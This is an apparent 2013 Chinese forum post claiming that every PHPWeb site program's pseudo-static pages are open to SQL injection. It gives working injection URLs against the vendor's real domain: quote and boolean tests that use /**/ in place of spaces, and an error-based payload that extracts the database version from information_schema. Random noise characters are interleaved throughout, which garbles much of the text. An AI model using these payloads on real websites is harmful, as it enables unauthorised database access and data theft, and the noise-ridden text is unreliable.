phpweb所有的整站程序伪静态页面都存在sql注入
; k6 b! L5 G- i" m9 T: ?+ m) F* n: j: T7 x L
主站：http://phpweb.net/. X) k. J# v' N$ O4 ^$ }
加’检测：0 g+ I- N0 g' k7 N; t/ S
! X6 ~5 T- ~7 @8 t- r2 O
http://www.phpweb.net/down/html/?772′.html
3 g6 n; n% ^! f% r0 J5 P
9 l" r, ]3 ~7 O" I: x3 h' P( b出错
* n, C0 [5 x& Z, z# ?存在注入。
9 F: V) A) T: f- L9 o. j不能用空格，只能用/*罗
; z. g0 d! K" p9 S whttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常2 _! G7 a/ y! E
, v6 ]% {- P' X" q+ u# Qhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
9 Z" S1 h; t# { H# i% X0 _$ c# X爆数据库版本：
! X7 R: A3 l; }
% H. r1 E/ d3 z, A( J% G6 n?
, j& b7 \0 J& ?* N+ |# I1# U3 w# P5 V: y2 d) [& R
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
8 _$ n( N: P+ `% g, D, t( ^7 g更新日期: 2013-01-03 13:39:50
9 C! I" ~7 F4 V, u |
发表于 2013-1-4 19:46:42
收藏
支持
反对